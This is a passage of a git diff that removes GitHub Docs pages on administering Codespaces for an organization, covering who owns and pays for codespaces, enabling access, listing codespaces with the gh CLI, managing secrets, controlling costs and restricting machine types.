variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %} plan, you can pay for your members' and collaborators' usage of {% data variables.product.prodname_github_codespaces %}. Paying for usage will allow people to use {% data variables.product.prodname_github_codespaces %} to work in your repositories without having to do so at their own expense and will give your organization more control over the codespaces created from your repositories. - -To pay for usage, you must do all of the following things: - -* Allow at least some of your members and collaborators to use {% data variables.product.prodname_github_codespaces %} in your organization's private {% ifversion ghec %}and internal {% endif %}repositories. See [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/enabling-or-disabling-github-codespaces-for-your-organization#enabling-or-disabling-github-codespaces). -* Choose for codespaces created from your organization's repositories to be **organization-owned**. See [Choosing who owns and pays for codespaces](#choosing-who-owns-and-pays-for-codespaces). -* Set a non-zero spending limit for {% data variables.product.prodname_github_codespaces %}. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces#managing-the-github-codespaces-spending-limit-for-your-organization-account). - -## About choosing who pays for codespaces - -Paying for a codespace means paying for the storage and compute costs of the codespace over the codespace's lifetime. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces). - -Organizations on a {% data variables.product.prodname_free_team %} plan cannot pay for {% data variables.product.prodname_github_codespaces %}, so the user who creates the codespace always pays. - -For organizations on a {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %} plan, when a user creates a codespace from a repository in the organization, either the user or the organization can pay for the codespace. The user who creates a codespace can't choose who pays for it, but the organization can choose to pay for certain users. In an organization's settings, you can choose for codespaces to be **user-owned** or **organization-owned**. - -If an organization chooses for codespaces to be **user-owned**, a user who creates a codespace from a repository in the organization always pays for the codespace. The user's access to create codespaces depends on the visibility of the repository and your organization's access settings. - -If an organization chooses for codespaces to be **organization-owned**, the organization will pay for a codespace if all the following things are true: - -{% data reusables.codespaces.when-an-org-pays %} - -For more information about enabling {% data variables.product.prodname_github_codespaces %} for members and collaborators, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/enabling-or-disabling-github-codespaces-for-your-organization). - -{% ifversion ghec %} - -> [!NOTE] -> If you own an {% data variables.enterprise.prodname_emu_org %} and do not allow {% data variables.product.prodname_github_codespaces %} to be billed to your organization, members with {% data variables.enterprise.prodname_managed_users %} will not be able to use {% data variables.product.prodname_github_codespaces %}. See [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users#abilities-and-restrictions-of-managed-user-accounts). - -{% endif %} - -## About ownership of codespaces - -A codespace is paid for by the account that owns it. The codespace owner can be the user who created the codespace, or it can be an organization. - -If your organization owns a codespace, your organization has control over that codespace. For example, for codespaces owned by your organization, you can: - -* Use the [REST API](/rest/codespaces/organizations) to manage codespaces, such as stopping or deleting a codespace -* Access audit logs to review actions related to {% data variables.product.prodname_github_codespaces %} -* Set policies to manage constraints, such as restricting the dev container image or machine type that can be used in codespaces, or setting a default timeout and retention period - -If a user owns a codespace, your organization does not have any of these options for managing the codespace, even if the codespace was created from one of your organization's repositories. - -When a user creates a codespace, they're told who will pay for it, and therefore who owns it. From a user's point of view, apart from the policies your organization can use to set constraints on codespaces, the experience with {% data variables.product.prodname_github_codespaces %} will be similar regardless of who owns a codespace. For example, most of a user's personal settings for {% data variables.product.prodname_github_codespaces %}, such as dotfiles, secrets, and GPG verification, apply regardless of who owns the codespace. - -## About changing your settings - -When you change your ownership settings, existing codespaces can transfer to a new owner. - -If you change from **organization ownership** to **user ownership**, codespaces that are currently owned by your organization will be transferred to the ownership of the user who created the codespace. Before you make this change, you should ask each user to review the codespaces that will be transferred to their ownership. These codespaces will now incur usage on the user's personal account. - -If you change from **user ownership** to **organization ownership**, existing codespaces may be transferred to your organization's ownership. A codespace will be transferred if the user who currently owns the codespace is a member or collaborator, and you have enabled {% data variables.product.prodname_github_codespaces %} for this user. Otherwise, a codespace will remain under the ownership of the user. - -## Choosing who owns and pays for codespaces - -> [!NOTE] -> If you cannot access the option to make codespaces **organization-owned**, this may be because you have disabled {% data variables.product.prodname_github_codespaces %} for all users in your organization's private{% ifversion ghec %} and internal{% endif %} repositories. See [About choosing who pays for codespaces](#about-choosing-who-pays-for-codespaces). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.click-codespaces %} -{% data reusables.organizations.click-general %} -1. On the {% data variables.product.prodname_codespaces %} settings page, under "Codespace ownership," select the setting you want for your organization: - * **Organization ownership:** Codespaces can be owned and paid for by your organization. - * **User ownership:** Codespaces are always owned and paid for by the user who creates the codespace. - -1. Optionally, under "Codespaces access," review the members and collaborators for whom you have enabled {% data variables.product.prodname_codespaces %}. These are the only users who can create codespaces that your organization pays for. See [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/enabling-or-disabling-github-codespaces-for-your-organization). - -## Setting a spending limit - -{% data reusables.codespaces.codespaces-spending-limit-requirement %} - -For information on managing and changing your account's spending limit, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces#managing-the-github-codespaces-spending-limit-for-your-organization-account). diff --git a/content/codespaces/managing-codespaces-for-your-organization/enabling-or-disabling-github-codespaces-for-your-organization.md b/content/codespaces/managing-codespaces-for-your-organization/enabling-or-disabling-github-codespaces-for-your-organization.md deleted file mode 100644 index 60791b59aea4..000000000000 --- a/content/codespaces/managing-codespaces-for-your-organization/enabling-or-disabling-github-codespaces-for-your-organization.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Enabling or disabling GitHub Codespaces for your organization -shortTitle: 'Enable or disable Codespaces' -intro: 'You can control which users can use {% data variables.product.prodname_github_codespaces %} in your organization''s private {% ifversion ghec %}and internal {% endif %}repositories.' -permissions: 'Organization owners can control which users can use {% data variables.product.prodname_github_codespaces %}.' -redirect_from: - - /codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization - - /codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization - - /codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Billing - - Administrator -product: 'Organizations on {% data variables.product.prodname_team %} and {% data variables.product.prodname_enterprise %} plans can choose to disable {% data variables.product.prodname_github_codespaces %} in private {% ifversion ghec %}and internal {% endif %}repositories. For more information, see [AUTOTITLE](/get-started/learning-about-github/githubs-products).' ---- - -## About enabling and disabling {% data variables.product.prodname_github_codespaces %} - -{% data variables.product.prodname_github_codespaces %} is always available in an organization's public repositories, and any user can create a codespace from these repositories. If your organization is on a {% data variables.product.prodname_free_team %} plan, {% data variables.product.prodname_github_codespaces %} is always available in your organization's private repositories too, and any users with access to these repositories can create a codespace at their own expense. - -If you're the owner of an organization on a {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %} plan, you can choose whether to enable or disable {% data variables.product.prodname_github_codespaces %} in your organization's private {% ifversion ghec %}and internal {% endif %}repositories. If you enable {% data variables.product.prodname_github_codespaces %} in these repositories, you can choose whether to enable for all users or for a selection of members and collaborators. - -By enabling {% data variables.product.prodname_github_codespaces %}, you can help your members and collaborators get started with projects quickly, without needing to install lots of tools and dependencies locally to start contributing. However, you might want to roll out {% data variables.product.prodname_github_codespaces %} gradually across your organization by enabling it for groups of users at a time. Alternatively, if you need to comply with security regulations that require increased control over the private code in your organization, you might want to disable {% data variables.product.prodname_github_codespaces %} for all your members. - -If you have enabled {% data variables.product.prodname_github_codespaces %} in private {% ifversion ghec %}and internal {% endif %}repositories for at least some users, you can choose to pay for these users' usage of {% data variables.product.prodname_github_codespaces %} across all repositories in your organization. For more information, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/choosing-who-owns-and-pays-for-codespaces-in-your-organization). - -If you cannot access the settings to enable {% data variables.product.prodname_github_codespaces %} in your organization, this may be because an enterprise owner has disabled {% data variables.product.prodname_github_codespaces %} for your organization. For more information, see {% ifversion ghec %}[AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-codespaces-in-your-enterprise).{% elsif fpt %}[AUTOTITLE](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-codespaces-in-your-enterprise) in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %} - -## Prerequisites for enabling {% data variables.product.prodname_github_codespaces %} - -Only people who can either push changes to a repository, or fork the repository, can create a codespace for that repository. To allow a user to create codespaces for a repository owned by your organization, you must do one of the following things. - -* Ensure that the user has read access to the repository, and the repository permits forking, so that the user can create a codespace from the repository, push their changes to a fork, and create a pull request for any changes they want to make. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization). -* Ensure that the user has write access to the repository, so that they can push changes directly to the repository without forking. - -In addition, to allow users to create codespaces, you must ensure that{% ifversion ghec %}: -* Your enterprise does not use OIDC with CAP. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy). -* Your{% else %} your{% endif %} organization does not have an IP address allow list enabled. For more information, see [Managing allowed IP addresses for your organization](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization){% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %} - -{% ifversion fpt %} - -> [!NOTE] -> If you are a verified educator or a teacher, you must enable {% data variables.product.prodname_github_codespaces %} from a {% data variables.product.prodname_classroom %} to use your {% data variables.product.prodname_codespaces %} Education benefit. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom#about-the-codespaces-education-benefit-for-verified-teachers). - -{% endif %} - -## About changing your settings - -If you remove a user's access to {% data variables.product.prodname_github_codespaces %}, the user will immediately be unable to open existing codespaces they have created from your organization's private {% ifversion ghec %}and internal {% endif %}repositories. If you were previously paying for codespaces the user had created from your organization's public repositories, ownership of these codespaces will transfer the user. - -Before removing users' access, you should alert the affected users. If they have unpublished work in a codespace, they can make sure the work is pushed to a branch in the repository before they lose access. - -Once a user loses access to a codespace, the codespace is retained for a period of 7 days, then it is permanently deleted. During this 7-day period, to recover unpublished work from the codespace, the user must contact {% data variables.contact.contact_support %}. - -## Enabling or disabling {% data variables.product.prodname_github_codespaces %} - -> [!NOTE] -> If you remove a user's access to {% data variables.product.prodname_github_codespaces %}, the user will immediately be unable to open existing codespaces they have created from your organization's private {% ifversion ghec %}and internal {% endif %}repositories. For more information, see [About changing your settings](#about-changing-your-settings). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.click-codespaces %} -{% data reusables.organizations.click-general %} -1. On the {% data variables.product.prodname_codespaces %} settings page, under "Codespaces access," select your preferred setting for {% data variables.product.prodname_github_codespaces %} in your organization's private {% ifversion ghec %}and internal {% endif %}repositories. - - You can disable {% data variables.product.prodname_codespaces %}, enable for specific members or teams, enable for all members, or enable for all members and collaborators. diff --git a/content/codespaces/managing-codespaces-for-your-organization/index.md b/content/codespaces/managing-codespaces-for-your-organization/index.md deleted file mode 100644 index 32686e531035..000000000000 --- a/content/codespaces/managing-codespaces-for-your-organization/index.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Managing GitHub Codespaces for your organization -allowTitleToDifferFromFilename: true -shortTitle: Managing your organization -intro: 'You can manage and review how users in your organization can use {% data variables.product.prodname_github_codespaces %}.' -versions: - fpt: '*' - ghec: '*' -topics: - - Codespaces -children: - - /enabling-or-disabling-github-codespaces-for-your-organization - - /choosing-who-owns-and-pays-for-codespaces-in-your-organization - - /listing-the-codespaces-in-your-organization - - /managing-the-cost-of-github-codespaces-in-your-organization - - /managing-development-environment-secrets-for-your-repository-or-organization - - /reviewing-your-organizations-audit-logs-for-github-codespaces - - /restricting-access-to-machine-types - - /restricting-the-number-of-organization-billed-codespaces-a-user-can-create - - /restricting-the-base-image-for-codespaces - - /restricting-the-visibility-of-forwarded-ports - - /restricting-the-idle-timeout-period - - /restricting-the-retention-period-for-codespaces -product: '{% data reusables.gated-features.codespaces-org %}' ---- diff --git a/content/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization.md b/content/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization.md deleted file mode 100644 index b277a443aea9..000000000000 --- a/content/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Listing the codespaces in your organization -shortTitle: List organization codespaces -intro: You can list all of the currently active or stopped codespaces for your organization. -permissions: 'To list all of the current codespaces for your organization, you must be an organization owner.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces - - Administrator -product: '{% data reusables.gated-features.codespaces-org %}' ---- - -## Overview - -As an organization owner, you can list all of the currently active and stopped codespaces for your organization. You might want to do this to check how many codespaces users are creating, to make sure they aren't incurring unnecessary costs. For information about pricing, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces). - -The easiest way to list the codespaces for an organization is by using {% data variables.product.prodname_cli %}. You can also use the REST API, which provides more information about each codespace. - -For information on how to see the current total {% data variables.product.prodname_codespaces %} usage for your organization or enterprise, and generate a detailed report, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage). - -### Using {% data variables.product.prodname_cli %} to list codespaces - -To list all of the current codespaces for a specified organization, use the following command. - -```shell copy -gh codespace list --org ORGANIZATION -``` - -This command returns a list that includes the following information for each codespace: -* The name and display name -* The user who created the codespace -* The repository and branch -* The current state of the codespace - -To list all of the current codespaces for an organization that were created by a specific user, use the following command. - -```shell copy -gh codespace list --org ORGANIZATION --user USER -``` - -> [!NOTE] -> In the above commands, replace `ORGANIZATION` with the name of the organization you are querying. You must be an owner of the organization. - -### Using the REST API to list codespaces - -You can use the `/orgs/{org}/codespaces` API endpoint as an alternative method of listing the current codespaces for an organization. This returns more information than {% data variables.product.prodname_cli %}; for example, the machine type details. - -For more information about this endpoint, see [AUTOTITLE](/rest/codespaces/organizations#list-codespaces-for-the-organization). diff --git a/content/codespaces/managing-codespaces-for-your-organization/managing-development-environment-secrets-for-your-repository-or-organization.md b/content/codespaces/managing-codespaces-for-your-organization/managing-development-environment-secrets-for-your-repository-or-organization.md deleted file mode 100644 index 0bd816d994fb..000000000000 --- a/content/codespaces/managing-codespaces-for-your-organization/managing-development-environment-secrets-for-your-repository-or-organization.md +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Managing development environment secrets for your repository or organization -shortTitle: Manage secrets -intro: 'Development environment secrets allow you to store sensitive information in your organization or repository for use with {% data variables.product.prodname_github_codespaces %}.' -permissions: 'To manage development environment secrets for {% data variables.product.prodname_github_codespaces %} for an organization, you must be an organization owner.' -versions: - fpt: '*' - ghec: '*' -topics: - - Codespaces - - Secret store - - Security -redirect_from: - - /codespaces/managing-codespaces-for-your-organization/managing-secrets-for-your-repository-and-organization-for-github-codespaces - - /codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces - - /codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces -product: 'Development environment secrets are available in all public repositories, in private repositories owned by personal accounts, and in private repositories owned by organizations on {% data variables.product.prodname_team %} or {% data variables.product.prodname_enterprise %} plans. For more information, see [AUTOTITLE](/get-started/learning-about-github/githubs-plans).' ---- - -## About secrets - -Development environment secrets are encrypted environment variables that you create in the {% data variables.product.prodname_github_codespaces %} settings for an organization, a repository, or a personal account. This article explains how to manage organization secrets and repository secrets. For information on creating user-specific secrets, see [AUTOTITLE](/codespaces/managing-your-codespaces/managing-your-account-specific-secrets-for-github-codespaces). - -The development environment secrets that you create are available to use in {% data variables.product.prodname_github_codespaces %}. {% data variables.product.prodname_dotcom %} uses a [libsodium sealed box](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes) to encrypt secrets before they reach {% data variables.product.prodname_dotcom %} and only decrypts them when you use them in a codespace. - -Organization secrets let you share secrets between multiple repositories, which reduces the need to create duplicate secrets. You can use access policies to control which repositories can use organization secrets. - -{% data reusables.codespaces.secrets-on-start %} - -### Naming secrets - -{% data reusables.codespaces.secrets-naming %} For example, a secret created at the repository level must have a unique name in that repository, and a secret created at the organization level must have a unique name at that level. - - {% data reusables.codespaces.secret-precedence %} - -### Limits for secrets - -You can store up to 100 secrets per organization and 100 secrets per repository. - -Secrets are limited to 48 KB in size. - -### Recommended secrets for a repository - -Your project may require specific user secrets. For example, to run the application in a codespace, the user may need to supply a personal API key. If this is the case, you can specify recommended secrets in the dev container configuration. The user will then be prompted to supply values for these secrets, if they haven't already created these personal secrets, when they use the advanced options page to create a codespace. If the user supplies a secret value for use in the codespace, this secret is added to their personal settings for {% data variables.product.prodname_codespaces %}. They will not have to enter a value for this secret when they create a codespace for this repository in future. For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/specifying-recommended-secrets-for-a-repository). - -## Adding secrets for a repository - -To create development environment secrets for an organization repository, you must have administrator access. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.codespaces.sidebar-secret %} - -1. At the top of the page, click **New repository secret**. -1. Type a name for your secret in the **Name** input box. -1. Enter the value for your secret. -1. Click **Add secret**. - -## Adding secrets for an organization - -When creating a development environment secret in an organization, you can use a policy to limit which repositories can access that secret. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories. - -{% data reusables.organizations.secrets-permissions-statement %} - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.codespaces.sidebar-secret %} - -1. At the top of the page, click **New secret**. -1. Type a name for your secret in the **Name** input box. -1. Enter the **Value** for your secret. -1. From the **Repository access** dropdown list, choose an access policy. -1. Click **Add secret**. - -## Reviewing access to organization-level secrets - -You can check which access policies are applied to a development environment secret in your organization. - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.codespaces.sidebar-secret %} - -1. Optionally, to view or edit the configured permissions for each secret, to the right of the secret, click {% octicon "pencil" aria-label="Edit secret" %}. - -## Further reading - -* [AUTOTITLE](/codespaces/managing-your-codespaces/managing-your-account-specific-secrets-for-github-codespaces) diff --git a/content/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization.md b/content/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization.md deleted file mode 100644 index df6fe81df56d..000000000000 --- a/content/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Managing the cost of GitHub Codespaces in your organization -shortTitle: Manage Codespaces costs -intro: 'You can check your {% data variables.product.prodname_github_codespaces %} usage and set usage limits.' -permissions: 'To manage billing for {% data variables.product.prodname_github_codespaces %} for an organization, you must be an organization owner or a billing manager.' -versions: - fpt: '*' - ghec: '*' -type: reference -topics: - - Codespaces - - Billing -redirect_from: - - /codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization - - /codespaces/managing-codespaces-for-your-organization/managing-billing-for-github-codespaces-in-your-organization -product: '{% data reusables.gated-features.codespaces-org %}' ---- - -## Overview - -Your organization is billed according to its compute and storage usage for {% data variables.product.prodname_github_codespaces %}. This article explains the ways in which you, as an organization owner, can manage these costs. - -To learn about pricing for {% data variables.product.prodname_github_codespaces %}, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing). - -## Spending limits - -You can set a spending limit for {% data variables.product.prodname_github_codespaces %} for your organization. This limit is applied to the total compute and storage cost for {% data variables.product.prodname_github_codespaces %}. For more information, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces). - -* **Compute usage:** This is the total time during which all {% data variables.product.prodname_github_codespaces %} instances ("codespaces") were active in a billing month. - -* **Storage usage:** For {% data variables.product.prodname_github_codespaces %} billing purposes, this includes all files used by all codespaces and prebuilds in your account. This includes resources such as cloned repositories, configuration files, and extensions, among others. - -You can check the compute and storage usage for {% data variables.product.prodname_github_codespaces %} for the current billing month. For information, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage). - -> [!NOTE] -> Prebuilds for {% data variables.product.prodname_github_codespaces %} are created and updated using {% data variables.product.prodname_actions %}. This may incur billable costs for {% data variables.product.prodname_actions %}. You can set a spending limit for {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#about-billing-for-codespaces-prebuilds) and [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions). Storage of the generated prebuilds is charged at the same rate as your codespaces, and is included in your {% data variables.product.prodname_github_codespaces %} spending limit. - -## Disabling or limiting billing for {% data variables.product.prodname_codespaces %} - -You can choose for all usage of {% data variables.product.prodname_codespaces %} in your organization to be billed to the user who creates the codespace. Alternatively, you can specify which organization members or collaborators can use {% data variables.product.prodname_codespaces %} at your organization's expense. For more information, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/choosing-who-owns-and-pays-for-codespaces-in-your-organization). - -You can limit the number of codespaces that people can create, where the organization will be billed for the codespace. This can help to reduce codespace storage charges for your organization. For more information, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-number-of-organization-billed-codespaces-a-user-can-create). - -You can configure which repositories can be accessed from codespaces created for a particular repository. For more information, see [AUTOTITLE](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces). - -You can limit the choice of types of machine that are available for codespaces created from repositories owned by your organization. This allows you to prevent people using overly resourced machines for their codespaces, and incurring unnecessary charges. For more information, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types). - -You can set a maximum idle timeout constraint to limit the maximum timeout that people can set for codespaces that are billable to your organization. This can reduce the compute usage charges generated by codespaces that are left running in an idle state, by stopping active codespace after a shorter timeout period. For more information, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period). - -You can also restrict how long stopped codespaces can remain unused before they are automatically deleted. This can help to reduce storage costs for {% data variables.product.prodname_codespaces %}. For more information, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces). - -Repository owners who set up prebuilds for their repository can reduce the storage costs of prebuilds by configuring these to be created only in selected regions. For more information, see [AUTOTITLE](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds). - -## Deleting unused codespaces - -Your users can delete their own codespaces in https://github.com/codespaces and from within {% data variables.product.prodname_vscode %}. To reduce the size of a codespace, users can manually delete files using the terminal or from within {% data variables.product.prodname_vscode_shortname %}. - -As an organization owner, you can delete any codespace in your organization. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/deleting-a-codespace#deleting-codespaces-in-your-organization). - -> [!NOTE] -> Codespaces are automatically deleted after they have been stopped and have remained inactive for a user-definable number of days. For more information, see [AUTOTITLE](/codespaces/setting-your-user-preferences/configuring-automatic-deletion-of-your-codespaces). As an organization owner, you can set the maximum retention period for codespaces owned by your organization. This will override a user's personal retention setting. For more information, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces). - -## Further reading - -* [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization) diff --git a/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md b/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md deleted file mode 100644 index c1aade4311c0..000000000000 --- a/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Restricting access to machine types -shortTitle: Restrict machine types -intro: You can set constraints on the types of machines users can choose when they create codespaces in your organization. -permissions: 'To manage access to machine types for the repositories in an organization, you must be an owner of the organization.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Codespaces -product: '{% data reusables.gated-features.codespaces-org %}' ---- - -## Overview - -Typically, when you create a codespace you are offered a choice of specifications for the machine that will run your codespace. You can choose the machine type that best suits your needs. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). - -If you pay for using {% data variables.product.prodname_github_codespaces %} then your choice of machine type will affect how much you are billed. The compute cost for a codespace is proportional to the number of processor cores in the machine type you choose. For example, the compute cost of using a codespace for an hour on a 16-core machine is eight times greater than a 2-core machine. For more information about pricing, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces). - -As an organization owner, you may want to configure constraints on the types of machine that are available. For example, if the work in your organization doesn't require significant compute power or storage space, you can remove the highly resourced machines from the list of options that people can choose from. You do this by defining one or more policies in the {% data variables.product.prodname_github_codespaces %} settings for your organization. - -### Behavior when you set a machine type constraint - -If there are existing codespaces that no longer conform to a policy you have defined, these codespaces will continue to operate until they are stopped or time out. When the user attempts to resume the codespace they are shown a message telling them that the currently selected machine type is no longer allowed for this organization and prompting them to choose an alternative machine type. - -If you remove higher specification machine types that are required by the {% data variables.product.prodname_github_codespaces %} configuration for an individual repository in your organization, then it won't be possible to create a codespace for that repository. When someone attempts to create a codespace they will see a message telling them that there are no valid machine types available that meet the requirements of the repository's {% data variables.product.prodname_github_codespaces %} configuration. - -> [!NOTE] -> Anyone who can edit the `devcontainer.json` configuration file in a repository can set a minimum specification for machines that can be used for codespaces for that repository. For more information, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/setting-a-minimum-specification-for-codespace-machines). - -If setting a policy for machine types prevents people from using {% data variables.product.prodname_github_codespaces %} for a particular repository there are two options: - -* You can adjust your policies to specifically remove the restrictions from the affected repository. -* Anyone who has a codespace that they can no longer access, because of the new policy, can export their codespace to a branch. This branch will contain all of their changes from the codespace. They can then open a new codespace on this branch with a compliant machine type or work on this branch locally. For more information, see [AUTOTITLE](/codespaces/troubleshooting/exporting-changes-to-a-branch). - -### Setting organization-wide and repository-specific policies - -When you create a policy you choose whether it applies to all repositories in your organization, or only to specified repositories. If you set an organization-wide policy then any policies you set for individual repositories must fall within the restriction set at the organization level. Adding policies makes the choice of machine more, not less, restrictive. - -For example, you could create an organization-wide policy that restricts the machine types to either 2 or 4 cores. You can then set a policy for Repository A that restricts it to just 2-core machines. Setting a policy for Repository A that restricted it to machines with 2, 4, or 8 cores would result in a choice of 2-core and 4-core machines only, because the organization-wide policy prevents access to 8-core machines. - -If you add an organization-wide policy, you should set it to the largest choice of machine types that will be available for any repository in your organization. You can then add repository-specific policies to further restrict the choice. - -{% data reusables.codespaces.codespaces-org-policies-note %} - -## Adding a policy to limit the available machine types - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.codespaces.codespaces-org-policies %} -1. Click **Add constraint** and choose **Machine types**. -1. Click {% octicon "pencil" aria-label="Edit policy" %} to edit the constraint, then clear the selection of any machine types that you don't want to be available. - - ![Screenshot of the "Allowed values" dropdown with options for four machine types. The options for 2-core and 4-core machines are selected.](/assets/images/help/codespaces/edit-machine-constraint.png) - -1. Click outside of the dialog box to close it. -{% data reusables.codespaces.codespaces-policy-targets %} -1. If you want to add another constraint to the policy, click **Add constraint** and choose another constraint. For information about other constraints, see: - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-number-of-organization-billed-codespaces-a-user-can-create) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period) - * [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces) - -1. After you've finished adding constraints to your policy, click **Save**. - -The policy will be applied to all new codespaces that are billable to your organization. The machine type constraint is also applied to existing codespaces when someone attempts to restart a stopped codespace or reconnect to an active codespace. - -## Editing a policy - -You can edit an existing policy. For example, you may want to add or remove constraints to or from a policy. - -1. Display the "Codespaces policies" page. For more information, see [Adding a policy to limit the available machine types](#adding-a-policy-to-limit-the-available-machine-types). -1. Click the name of the policy you want to edit. -1. Beside the "Machine types" constraint, click {% octicon "pencil" aria-label="Edit policy" %}. -1. Make the required changes then click **Save**. - -## Deleting a policy - -1. Display the "Codespaces policies" page. For more information, see [Adding a policy to limit the available machine types](#adding-a-policy-to-limit-the-available-machine-types). -{% data reusables.codespaces.delete-codespace-policy %} - -## Further reading - -* [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces) diff --git a/content/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces.md b/content/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces.md deleted file mode 100644 index 8f0448534977..000000000000 --- a/content/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces.md +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Restricting the base image for codespaces -shortTitle: Restrict base image -intro: You can specify which base images can be used to create the dev container for new codespaces created within your organization. -permissions: 'To manage image constraints for an organization''s codespaces, you must be an owner of the organization.' -versions: - fpt: '*' - ghec: 